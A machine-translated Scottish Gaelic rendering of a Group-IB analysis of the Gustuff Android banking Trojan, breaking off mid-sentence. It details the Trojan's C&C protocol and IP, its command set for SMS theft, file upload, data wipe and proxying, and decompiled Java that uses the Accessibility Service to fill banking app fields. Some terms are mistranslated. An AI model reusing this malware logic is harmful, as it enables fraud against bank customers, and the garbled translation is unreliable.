Dìreach an latha eile Buidheann-IB
Eòlaiche mion-sgrùdadh còd droch-rùnach aig Group-IB Ivan Pisarev anns an rannsachadh aige, tha e a' bruidhinn gu mionaideach air mar a tha Gustuff ag obair agus dè na cunnartan a th' ann.
Cò dha a tha Gustuff a’ sealg?
Buinidh Gustuff do ghinealach ùr de malware le gnìomhan làn fèin-ghluasadach. A rèir an leasaiche, tha an Trojan air a thighinn gu bhith na dhreach ùr agus leasaichte de malware AndyBot, a tha bhon t-Samhain 2017 air a bhith a’ toirt ionnsaigh air fònaichean Android agus a’ goid airgead tro fhoirmean lìn fiasgach a’ masquerading mar thagraidhean gluasadach de bhancaichean eadar-nàiseanta ainmeil agus siostaman pàighidh. Thuirt Bestoffer gur e prìs màil Gustuff Bot $800 gach mìos.
Sheall mion-sgrùdadh air sampall Gustuff gu bheil an Trojan comasach air cuimseachadh air luchd-ceannach a’ cleachdadh tagraidhean gluasadach de na bancaichean as motha, leithid Bank of America, Bank of Scotland, JP Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, a bharrachd air Bitcoin Wallet crypto wallets.BitPay, Cryptopay, Coinbase, msaa.
Air a chruthachadh an toiseach mar Trojan bancaidh clasaigeach, anns an dreach làithreach aige tha Gustuff air leudachadh mòr a dhèanamh air an liosta de thargaidean ionnsaigh a dh’ fhaodadh a bhith ann. A bharrachd air tagraidhean Android airson bancaichean, companaidhean fintech agus seirbheisean crypto, tha Gustuff ag amas air luchd-cleachdaidh thagraidhean margaidh, stòran air-loidhne, siostaman pàighidh agus teachdairean sa bhad. Gu sònraichte, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut agus feadhainn eile.
Puing inntrigidh: àireamhachadh airson mòr-ghalair
Tha Gustuff air a chomharrachadh leis an vectar “clasaigeach” de dhol a-steach do fhònaichean sgairteil Android tro phost-d SMS le ceanglaichean gu APKn. Nuair a tha inneal Android air a ghlacadh le Trojan aig àithne an fhrithealaiche, faodaidh Gustuff sgaoileadh a-rithist tro stòr-dàta conaltraidh an fhòn le galair no tro stòr-dàta an fhrithealaiche. Tha comas-gnìomh Gustuff air a dhealbhadh airson mòr-ghalar agus an calpachadh as motha de ghnìomhachas a ghnìomhaichean - tha gnìomh sònraichte “fèin-lìonadh” aige a-steach do thagraidhean bancaidh gluasadach dligheach agus wallets crypto, a leigeas leat goid airgid a luathachadh agus a sgèile.
Sheall sgrùdadh air an Trojan gun deach gnìomh fèin-lìonadh a chuir an gnìomh ann a’ cleachdadh an t-Seirbheis Ruigsinneachd, seirbheis do dhaoine le ciorraman. Chan e Gustuff a’ chiad Trojan a shoirbhich gu soirbheachail le dìon an aghaidh eadar-obrachadh le eileamaidean uinneig de thagraidhean eile a’ cleachdadh an t-seirbheis Android seo. Ach, tha cleachdadh Seirbheis Ruigsinneachd ann an co-bhonn ri inneal lìonadh càr fhathast gu math tearc.
Às deidh dha luchdachadh sìos gu fòn an neach-fulaing, bidh Gustuff, a ’cleachdadh an t-Seirbheis Ruigsinneachd, comasach air eadar-obrachadh le eileamaidean uinneig de thagraidhean eile (bancaireachd, cryptocurrency, a bharrachd air tagraidhean airson ceannach air-loidhne, teachdaireachdan, msaa), a’ coileanadh na gnìomhan a tha riatanach airson an luchd-ionnsaigh. . Mar eisimpleir, aig àithne an fhrithealaiche, faodaidh Trojan putanan a bhrùthadh agus luachan raointean teacsa atharrachadh ann an tagraidhean bancaidh. Le bhith a’ cleachdadh uidheamachd Seirbheis Ruigsinneachd leigidh an Trojan seachad air na h-innealan tèarainteachd a bhios bancaichean a’ cleachdadh gus cuir an-aghaidh Trojans gluasadach ginealach roimhe, a bharrachd air atharrachaidhean ann am poileasaidh tèarainteachd a chuir Google an gnìomh ann an dreachan ùra den OS Android. Mar sin, tha fios aig Gustuff “mar” gus dìon dìon Google a dhì-cheadachadh: a rèir an ùghdair, bidh an gnìomh seo ag obair ann an 70% de chùisean.
Faodaidh Gustuff cuideachd fiosan meallta PUSH a thaisbeanadh le ìomhaighean de thagraidhean gluasadach dligheach. Bidh an neach-cleachdaidh a ’cliogadh air fios PUSH agus a’ faicinn uinneag fiasgach air a luchdachadh sìos bhon t-seirbheisiche, far am bi e a ’dol a-steach don chairt banca a chaidh iarraidh no dàta crypto wallet. Ann an suidheachadh Gustuff eile, tha an tagradh às an deach am fios PUSH a thaisbeanadh air fhosgladh. Anns a 'chùis seo, faodaidh an malware, le òrdugh bhon fhrithealaiche tron t-Seirbheis Ruigsinneachd, raointean foirm tagradh bancaidh a lìonadh airson malairt meallta.
Tha comas-gnìomh Gustuff cuideachd a’ toirt a-steach a bhith a’ cur fiosrachadh mu inneal gabhaltach chun t-seirbheisiche, an comas teachdaireachdan SMS a leughadh / a chuir, iarrtasan USSD a chuir air bhog, SOCKS5 Proxy a chuir air bhog, a’ leantainn ceangal, a’ cur fhaidhlichean (a’ toirt a-steach sganaidhean dhealbhan de sgrìobhainnean, seallaidhean-sgrìn, dealbhan) chun t-seirbheisiche. frithealaiche, ath-shuidhich an inneal gu suidheachadh factaraidh.
Mion-sgrùdadh malware
Mus stàlaich thu tagradh droch-rùnach, tha an Android OS a’ sealltainn uinneag don neach-cleachdaidh anns a bheil liosta de chòraichean a dh’ iarr Gustuff:
Cha tèid an aplacaid a chuir a-steach ach às deidh cead an neach-cleachdaidh fhaighinn. Às deidh an tagradh a chuir air bhog, seallaidh an Trojan uinneag don neach-cleachdaidh:
Às deidh sin bheir e air falbh an ìomhaigh aige.
Tha Gustuff air a phacadh, a rèir an ùghdair, le pacaiche bho FTT. Às deidh tòiseachadh, bidh an tagradh bho àm gu àm a’ cur fios gu frithealaiche CNC gus òrdughan fhaighinn. Chleachd grunn fhaidhlichean a rinn sinn sgrùdadh air seòladh IP mar am frithealaiche smachd 88.99.171[.]105 (an deigh so comharraichidh sinn e mar ).
Às deidh a chuir air bhog, tòisichidh am prògram a ’cur teachdaireachdan chun t-seirbheisiche http://<%CnC%>/api/v1/get.php.
Tha dùil gur e JSON am freagairt anns a’ chruth a leanas:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
Gach uair a gheibhear cothrom air an tagradh, bidh e a’ cur fiosrachadh mun inneal gabhaltach. Tha cruth na teachdaireachd air a shealltainn gu h-ìosal. 'S fhiach toirt fa-near gu bheil na h-achaidhean làn, a bharrachd, apps и cead - roghainneil agus cha tèid a chuir a-steach ach air eagal iarrtas bho CNC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
A’ stòradh dàta rèiteachaidh
Bidh Gustuff a’ stòradh fiosrachadh a tha cudromach gu h-obrachail ann am faidhle roghainn. Tha ainm an fhaidhle, a bharrachd air ainmean nam paramadairean ann, mar thoradh air an t-suim MD5 a thomhas bhon t-sreang 15413090667214.6.1 <%name%)càite - luach ainm tùsail. Mìneachadh Python air gnìomh gineadh ainmean:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
Anns na leanas comharraichidh sinn e mar ainm Gineadair (cuir a-steach).
Mar sin is e a’ chiad ainm faidhle: nameGenerator ("API_SERVER_LIST"), tha luachan ann leis na h-ainmean a leanas:
Ainm caochlaideach | luach |
---|---|
nameGenerator ("API_SERVER_LIST") | Tha liosta ann de sheòlaidhean CnC ann an cruth sreath. |
nameGenerator ("API_SERVER_URL") | Tha seòladh CnC ann. |
nameGenerator ("SMS_UPLOAD") | Tha am bratach air a shuidheachadh gu bunaiteach. Ma tha a’ bhratach air a suidheachadh, cuir teachdaireachdan SMS gu CNC. |
nameGenerator("SMS_ROOT_NUMBER") | Àireamh fòn far an tèid teachdaireachdan SMS a gheibh an inneal gabhaltach a chuir. Tha bun-bheachd null. |
nameGenerator ("SMS_ROOT_NUMBER_RESEND") | Tha am bratach air a ghlanadh gu bunaiteach. Ma thèid a chuir a-steach, nuair a gheibh inneal gabhaltach SMS, thèid a chuir chun àireamh freumh. |
ainm Gineadair ("DEFAULT_APP_SMS") | Tha am bratach air a ghlanadh gu bunaiteach. Ma thèid a’ bhratach seo a shuidheachadh, pròiseasaidh an aplacaid teachdaireachdan SMS a tha a’ tighinn a-steach. |
ainm Gineadair ("DEFAULT_ADMIN") | Tha am bratach air a ghlanadh gu bunaiteach. Ma tha a’ bhratach air a suidheachadh, tha còraichean rianadair aig an aplacaid. |
nameGenerator ("DEFAULT_ACCESSIBILITY") | Tha am bratach air a ghlanadh gu bunaiteach. Ma tha a’ bhratach air a suidheachadh, tha seirbheis a’ cleachdadh an t-Seirbheis Ruigsinneachd a’ ruith. |
nameGenerator("APPS_CONFIG") | Rud JSON anns a bheil liosta de ghnìomhan a dh'fheumar a dhèanamh nuair a thèid tachartas Ruigsinneachd co-cheangailte ri tagradh sònraichte a bhrosnachadh. |
nameGenerator ("APPS_INSTALLED") | A ’stòradh liosta de thagraidhean air an stàladh air an inneal. |
nameGenerator ("IS_FIST_RUN") | Tha am bratach air ath-shuidheachadh aig a 'chiad thoiseach. |
nameGenerator ("UNIQUE_ID") | Tha aithnichear sònraichte ann. Air a chruthachadh nuair a thèid am bot a chuir air bhog airson a’ chiad uair. |
Modal airson làimhseachadh òrdughan bhon fhrithealaiche
Bidh an aplacaid a’ stòradh seòlaidhean frithealaichean CNC ann an cruth sreath air a chòdachadh le Base85 sreathan. Faodar an liosta de luchd-frithealaidh CNC atharrachadh nuair a gheibhear an àithne iomchaidh, agus sa chùis sin thèid na seòlaidhean a stòradh ann am faidhle roghainn.
Mar fhreagairt don iarrtas, bidh am frithealaiche a’ cur àithne chun aplacaid. Is fhiach a bhith mothachail gu bheil òrdughan agus paramadairean air an taisbeanadh ann an cruth JSON. Faodaidh an tagradh na h-òrdughan a leanas a phròiseasadh:
sgioba | Tuairisgeul |
---|---|
air adhart | Tòisich a’ cur teachdaireachdan SMS a gheibh an inneal gabhaltach gu frithealaiche CNC. |
air adhartStop | Stad le bhith a’ cur teachdaireachdan SMS a gheibh an inneal gabhaltach gu frithealaiche CNC. |
ussdRun | Cuir an gnìomh iarrtas USSD. Tha an àireamh ris am feum thu iarrtas USSD a dhèanamh suidhichte ann an raon JSON “àireamh”. |
cuir sms | Cuir aon teachdaireachd SMS (ma tha sin riatanach, tha an teachdaireachd “air a roinn” ann am pàirtean). Mar pharamadair, bidh an àithne a’ toirt nì JSON anns a bheil na raointean “gu” - an àireamh ceann-uidhe agus “corp” - corp na teachdaireachd. |
cuirSmsAb | Cuir teachdaireachdan SMS (ma tha sin riatanach, tha an teachdaireachd “air a roinn ann am pàirtean) chun a h-uile duine air liosta conaltraidh an inneal gabhaltach. Is e 10 diogan an ùine eadar teachdaireachdan a chuir. Tha corp na teachdaireachd ann an raon JSON "corp" |
cuirSmsMass | Cuir teachdaireachdan SMS (ma tha sin riatanach, tha an teachdaireachd “air a sgaradh” ann am pàirtean) chun luchd-aithne a tha air an sònrachadh ann am paramadairean an àithne. Is e 10 diogan an ùine eadar teachdaireachdan a chuir. Mar paramadair, bidh an àithne a’ gabhail raon JSON (an raon “sms”) anns a bheil na h-achaidhean “gu” - an àireamh ceann-uidhe agus “corp” - corp na teachdaireachd anns na h-eileamaidean dheth. |
atharraich am frithealaiche | Faodaidh an àithne seo luach a ghabhail leis an iuchair “url” mar pharamadair - an uairsin atharraichidh am bot luach nameGenerator (“SERVER_URL”), no “array” - an uairsin sgrìobhaidh am bot an raon gu nameGenerator (“API_SERVER_LIST”) Mar sin, bidh an tagradh ag atharrachadh seòladh frithealaichean CNC. |
àireamh rianachd | Tha an àithne air a dhealbhadh gus obrachadh le àireamh freumh. Gabhaidh an àithne ri nì JSON leis na paramadairean a leanas: “àireamh” - atharraich ainmGenerator (“ROOT_NUMBER”) chun luach a fhuaireadh, “ath-sheòl” - atharraich ainmGenerator (“SMS_ROOT_NUMBER_RESEND”), “sendId” - cuir gu nameGenerator("ROOT_NUMBER" ) ID àraid. |
ùrachadh fiosrachaidh | Cuir fiosrachadh mun inneal gabhaltach chun t-seirbheisiche. |
sguab dàta | Tha an àithne an dùil dàta cleachdaiche a sguabadh às. A rèir dè an t-ainm a chaidh an tagradh a chuir air bhog, an dàrna cuid tha an dàta air a dhubhadh às gu tur le ath-thòiseachadh inneal (prìomh neach-cleachdaidh), no chan eil ach dàta cleachdaiche air a dhubhadh às (cleachdaiche àrd-sgoile). |
socksStart | Cuir air bhog am modal Proxy. Tha obrachadh a’ mhodail air a mhìneachadh ann an earrann air leth. |
socksStop | Stad am modal Proxy. |
OpenLink | Lean an ceangal. Tha an ceangal suidhichte ann am paramadair JSON fon iuchair “url”. Tha “android.intent.action.VIEW” air a chleachdadh gus an ceangal fhosgladh. |
luchdaich suas a h-uile sms | Cuir a h-uile teachdaireachd SMS a gheibh an inneal chun t-seirbheisiche. |
luchdaich suas a h-uile dealbh | Cuir dealbhan bho inneal gabhaltach gu URL. Tha an URL a 'tighinn mar pharamadair. |
uploadFile | Cuir faidhle gu URL bho inneal gabhaltach. Tha an URL a 'tighinn mar pharamadair. |
àireamhan fòn luchdadh a-nuas | Cuir àireamhan fòn bhon liosta conaltraidh agad chun t-seirbheisiche. Ma gheibhear luach nì JSON leis an iuchair “ab” mar pharamadair, gheibh an tagradh liosta de luchd-fios bhon leabhar fòn. Ma gheibhear nì JSON leis an iuchair “sms” mar pharamadair, leughaidh an aplacaid an liosta de luchd-fios bho luchd-cuiridh teachdaireachdan SMS. |
atharraich Tasglann | Bidh an aplacaid a’ luchdachadh sìos am faidhle bhon t-seòladh a tha a’ tighinn mar pharamadair a’ cleachdadh an iuchair “url”. Tha am faidhle a chaidh a luchdachadh sìos air a shàbhaladh leis an ainm “archive.zip”. Bidh an aplacaid an uairsin a’ unzip am faidhle, gu roghnach a’ cleachdadh facal-faire an tasglann “b5jXh37gxgHBrZhQ4j3D”. Tha na faidhlichean gun fhosgladh air an sàbhaladh anns an eòlaire [stòradh taobh a-muigh] / hgps. Anns an eòlaire seo, bidh an aplacaid a’ stòradh fakes lìn (air a mhìneachadh gu h-ìosal). |
stoc | Tha an àithne air a dhealbhadh gus obrachadh le Seirbheis Gnìomh, a tha air a mhìneachadh ann an earrann air leth. |
deuchainn | Gun a bhith a’ dèanamh dad. |
download | Tha an àithne an dùil faidhle a luchdachadh sìos bho fhrithealaiche iomallach agus a shàbhaladh don eòlaire “Luchdaich sìos”. Tha an URL agus ainm an fhaidhle a’ tighinn mar pharamadair, raointean ann an nì paramadair JSON, fa leth: “url” agus “fileName”. |
a thoirt air falbh | Thoir air falbh faidhle bhon eòlaire "Luchdaich sìos". Tha ainm an fhaidhle a’ tighinn ann am paramadair JSON leis an iuchair “fileName”. Is e an t-ainm faidhle àbhaisteach “tmp.apk”. |
Fios | Seall fios le tuairisgeul agus teacsaichean tiotal air am mìneachadh leis an t-seirbheisiche riaghlaidh. |
Fòrmat àithne Fios:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
Tha am fios a thig bhon fhaidhle fo sgrùdadh a’ coimhead co-ionann ris na fiosan a thig bhon tagradh a tha air a shònrachadh san raon app. Ma tha luach an raoin fosgailApp - Fìor, nuair a thèid fios fhosgladh, thèid an tagradh a tha air a shònrachadh san raon a chuir air bhog app. Ma tha luach an raoin fosgailApp - Mearachdach, ma-thà:
- Fosglaidh uinneag fiasgach, agus thèid na tha ann a luchdachadh sìos bhon eòlaire /hgps/
- Fosglaidh uinneag fiasgach, agus thèid na tha ann a luchdachadh sìos bhon fhrithealaiche ?id=&app=
- Tha uinneag fiasgaich a’ fosgladh, air a falach mar Google Play Card, le cothrom fiosrachadh cairt a chuir a-steach.
Bidh an tagradh a’ cur toradh àithne sam bith gu set_state.php mar nì JSON anns a’ chruth a leanas:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
Seirbheis Gnìomhan
An liosta òrdughan a tha na pròiseasan tagraidh a’ toirt a-steach gnìomha. Nuair a gheibhear àithne, gheibh am modal giullachd àithne cothrom air an t-seirbheis seo gus an àithne leudaichte a chuir an gnìomh. Gabhaidh an t-seirbheis ri nì JSON mar pharamadair. Faodaidh an t-seirbheis na h-òrdughan a leanas a chuir an gnìomh:
1. PARAMS_ACTION - nuair a gheibh thu a leithid de dh’ àithne, bidh an t-seirbheis an-toiseach a ’faighinn bho pharameter JSON luach an iuchair Seòrsa, a dh’ fhaodadh a bhith mar a leanas:
- Fiosrachadh seirbheis - gheibh am fo-cheannard an luach le iuchair bho pharamadair JSON toirt a-steach Neo-chudromach. Ma tha a’ bhratach Fìor, suidhichidh an tagradh a’ bhratach FLAG_ISOLATED_PROCESS gu seirbheis a’ cleachdadh an t-Seirbheis Ruigsinneachd. San dòigh seo thèid an t-seirbheis a chuir air bhog ann am pròiseas air leth.
- freumh - faigh agus cuir chun t-seirbheisiche fiosrachadh mun uinneag air a bheil fòcas an-dràsta. Bidh an aplacaid a’ faighinn fiosrachadh a’ cleachdadh a’ chlas AccessibilityNodeInfo.
- admin - iarr còraichean rianadair.
- dàil - cuir stad air an t-Seirbheis Gnìomhan airson na h-àireamh de mhillean-seconds a tha air an sònrachadh ann am paramadair an iuchair “dàta”.
- uinneagan - cuir liosta de dh’ uinneagan rim faicinn don neach-cleachdaidh.
- stàlaich - stàlaich an tagradh air an inneal gabhaltach. Tha ainm a’ phacaid tasglainn san iuchair “fileName”. Tha an tasglann fhèin suidhichte anns an eòlaire Luchdaich sìos.
- cruinneil - thathar an dùil gum bi am fo-cheannard a’ seòladh bhon uinneig làithreach:
- air a’ chlàr Quick Settings
- air ais
- dhachaidh
- gu brathan
- gu uinneag nan tagraidhean a chaidh fhosgladh o chionn ghoirid
- a chur air bhog - cuir air bhog an tagradh. Tha ainm an tagraidh a’ tighinn mar pharamadair le iuchair dàta.
- fuaimean - atharraich am modh fuaim gu sàmhchair.
- fhosgail - tionndaidh air backlight an sgrion agus am meur-chlàr gu làn shoilleireachd. Bidh an aplacaid a’ coileanadh a’ ghnìomh seo le bhith a’ cleachdadh WakeLock, a’ sònrachadh an t-sreang [Iarrtas lable]: INFO mar tag
- cead Ath-chòmhdach - chan eil an gnìomh air a chuir an gnìomh (is e am freagairt do choileanadh àithne {"message": "Gun taic"} no {"message": "sdk ìosal"})
- gluasad - chan eil an gnìomh air a chuir an gnìomh (is e am freagairt do choileanadh àithne {"message": "Gun taic"} no {"message": "API ìosal"})
- ceadan - tha feum air an àithne seo gus cead iarraidh airson an tagraidh. Ach, chan eil gnìomh na ceiste air a bhuileachadh, agus mar sin tha an àithne gun bhrìgh. Tha an liosta de chòraichean a chaidh iarraidh a’ tighinn mar raon JSON leis an iuchair “ceadan”. Liosta àbhaisteach:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.cead.CALL_PHONE
- android.cead.RECEIVE_SMS
- android.cead.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- fosgailte - seall uinneag fiasgach. A rèir am paramadair a thig bhon fhrithealaiche, faodaidh an aplacaid na h-uinneagan fiasgaich a leanas a thaisbeanadh:
- Seall uinneag phishing anns a bheil susbaint sgrìobhte ann am faidhle ann an eòlaire /hgps/. Thèid toradh eadar-obrachadh luchd-cleachdaidh leis an uinneag a chuir gu /records.php
- Seall uinneag fiasgaich aig a bheil susbaint air a luchdachadh ro-làimh bhon t-seòladh ?id=&app=. Thèid toradh eadar-obrachadh luchd-cleachdaidh leis an uinneag a chuir gu /records.php
- Seall uinneag fiasgaich a tha falaichte mar Cairt Play Google.
- eadar-ghnìomhach - tha an àithne air a dhealbhadh gus eadar-obrachadh le eileamaidean uinneig de thagraidhean eile a’ cleachdadh AcessibilityService. Tha seirbheis shònraichte air a chur an gnìomh sa phrògram airson eadar-obrachadh. Faodaidh an tagradh a tha fo sgrùdadh eadar-obrachadh le uinneagan:
- An-dràsta gnìomhach. Anns a 'chùis seo, tha am paramadair a' toirt a-steach id no teacsa (ainm) an nì leis am feum thu eadar-obrachadh.
- Ri fhaicinn don neach-cleachdaidh aig an àm a thèid an àithne a chuir gu bàs. Bidh an aplacaid a’ taghadh uinneagan le id.
An dèidh stuthan fhaighinn RuigsinneachdNodeInfo Airson eileamaidean uinneig inntinneach, faodaidh an tagradh, a rèir nam paramadairean, na gnìomhan a leanas a choileanadh:
- fòcas - cuir fòcas air an nì.
- cliog - cliog air rud.
- actionId - dèan gnìomh le ID.
- setText - atharraich teacsa nì. Tha e comasach an teacsa atharrachadh ann an dà dhòigh: dèan gnìomh ACTION_SET_TEXT (ma tha an dreach Android den inneal gabhaltach nas òige na no co-ionann ri LOLLIPOP), no le bhith a’ cur sreang air a’ bhòrd bhidio agus ga chuir a-steach do nì (airson dreachan nas sine). Faodar an àithne seo a chleachdadh gus dàta atharrachadh ann an tagradh bancaidh.
2. PARAMS_ACTIONS - co-ionann ri PARAMS_ACTION, chan eil ach sreath JSON de òrdughan a’ tighinn.
Tha e coltach gum bi ùidh aig mòran dhaoine anns a’ ghnìomh a bhith ag eadar-obrachadh le eileamaidean uinneig ann an tagradh eile. Seo mar a tha an gnìomh seo air a bhuileachadh ann an Gusstuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
Gnìomh ath-chur teacsa:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
Mar sin, le rèiteachadh ceart an t-seirbheisiche smachd, bidh e comasach dha Gustuff raointean teacsa a lìonadh anns an tagradh bancaidh agus cliog air na putanan a tha riatanach gus an gnothach a chrìochnachadh. Chan fheum an Trojan eadhon logadh a-steach don tagradh - tha e gu leòr òrdugh a chuir a-steach gus fios PUSH a thaisbeanadh agus an uairsin an tagradh bancaidh a chaidh a chuir a-steach roimhe fhosgladh. Dearbhaidh an neach-cleachdaidh e fhèin, agus às deidh sin bidh e comasach dha Gustuff an càr a lìonadh.
Modal làimhseachadh teachdaireachd SMS
Bidh an aplacaid a’ stàladh inneal-làimhseachaidh tachartais airson an inneal gabhaltach gus gabhail ri teachdaireachdan SMS. Faodaidh an tagradh fo sgrùdadh òrdughan fhaighinn bhon ghnìomhaiche, a thig ann am bodhaig na teachdaireachd SMS. Bidh òrdughan a’ tighinn ann an cruth:
7!5=
Bidh an aplacaid a’ lorg an t-sreang anns a h-uile teachdaireachd SMS a thig a-steach 7!5=, nuair a lorgar sreang, bidh e a’ còdachadh an t-sreang bho Base64 aig offset 4 agus a’ cur an gnìomh an àithne. Tha na h-òrdughan coltach ris an fheadhainn le CNC. Tha an toradh cur gu bàs air a chuir chun aon àireamh às an tàinig an àithne. Cruth freagairt:
7*5=
Roghainneil, faodaidh an tagradh a h-uile teachdaireachd a fhuaireadh a chuir chun àireamh Root. Gus seo a dhèanamh, feumaidh an àireamh Root a bhith air a shònrachadh anns an fhaidhle roghainn agus feumar bratach ath-stiùireadh na teachdaireachd a shuidheachadh. Thèid teachdaireachd SMS a chuir gu àireamh an neach-ionnsaigh anns a’ chruth:
-
Cuideachd, gu roghnach, faodaidh an aplacaid teachdaireachdan a chuir gu CNC. Thèid an teachdaireachd SMS a chur chun an fhrithealaiche ann an cruth JSON:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
Ma tha am bratach air a shuidheachadh ainm Gineadair ("DEFAULT_APP_SMS") - stadaidh an aplacaid a bhith a’ giullachd an teachdaireachd SMS agus a’ glanadh an liosta de theachdaireachdan a tha a’ tighinn a-steach.
Modal proxy
Anns an tagradh fo sgrùdadh tha modal Backconnect Proxy (ris an canar am modal Proxy an-seo), aig a bheil clas air leth anns a bheil raointean statach le rèiteachadh. Tha dàta rèiteachaidh air a stòradh san sampall ann an cruth soilleir:
Tha a h-uile gnìomh a nì am modal Proxy air a logadh a-steach do fhaidhlichean. Gus seo a dhèanamh, bidh an tagradh ann an Stòradh Taobh a-muigh a’ cruthachadh eòlaire ris an canar “logs” (an raon ProxyConfigClass.logsDir sa chlas rèiteachaidh), anns a bheil faidhlichean log air an stòradh. Bidh logadh a’ tachairt ann am faidhlichean le ainmean:
- prìomh.txt - tha obair a’ chlas ris an canar CommandServer air a logadh a-steach don fhaidhle seo. Anns na leanas, thèid logadh an t-sreang str a-steach don fhaidhle seo a chomharrachadh mar mainLog(str).
- seisean-.txt - bidh am faidhle seo a’ sàbhaladh dàta loga co-cheangailte ri seisean neach-ionaid sònraichte. Anns na leanas, thèid logadh an t-sreang str ris an fhaidhle seo a chomharrachadh mar sessionLog (str).
- frithealaiche.txt - tha am faidhle seo air a chleachdadh gus a h-uile dàta a chaidh a sgrìobhadh dha na faidhlichean gu h-àrd a chlàradh.
Cruth dàta loga:
[Snàthainn[], id[]]: sreang-log
Tha eisgeachdan a thachras ri linn obrachadh a’ mhodal Proxy cuideachd air an clàradh gu faidhle. Gus seo a dhèanamh, bidh an aplacaid a’ gineadh rud JSON anns a’ chruth a leanas:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
An uairsin bidh e ga thionndadh gu riochdachadh sreang agus ga logadh.
Thèid am modal Proxy a chuir air bhog às deidh dha an àithne co-fhreagarrach fhaighinn. Nuair a gheibhear òrdugh airson am modal Proxy a chuir air bhog, tòisichidh an tagradh seirbheis ris an canar Prìomh Sheirbheis, a tha an urra ri bhith a 'stiùireadh gnìomhachd a' mhodal Proxy - a 'tòiseachadh agus a' stad.
Ìrean tòiseachaidh na seirbheis:
1. Tòisich timer a ruitheas uair sa mhionaid agus a nì sgrùdadh air gnìomhachd a’ mhodal Proxy. Mura h-eil am modal gnìomhach, tòisichidh e.
Cuideachd nuair a thèid an tachartas a bhrosnachadh android.net.conn.CONNECTIVITY_CHANGE Tha am modal Proxy air a chuir air bhog.
2. Bidh an aplacaid a’ cruthachadh glas-dhùisg leis a’ pharamadair PARTIAL_WAKE_LOCK agus ga ghlacadh. Bidh seo a’ cur casg air CPU an inneal bho bhith a’ dol a-steach don mhodh cadail.
3. A’ cur air bhog clas giollachd òrdughan a’ mhodal Proxy, a’ clàradh na loidhne an toiseach mainLog ("frithealaiche tòiseachaidh") и
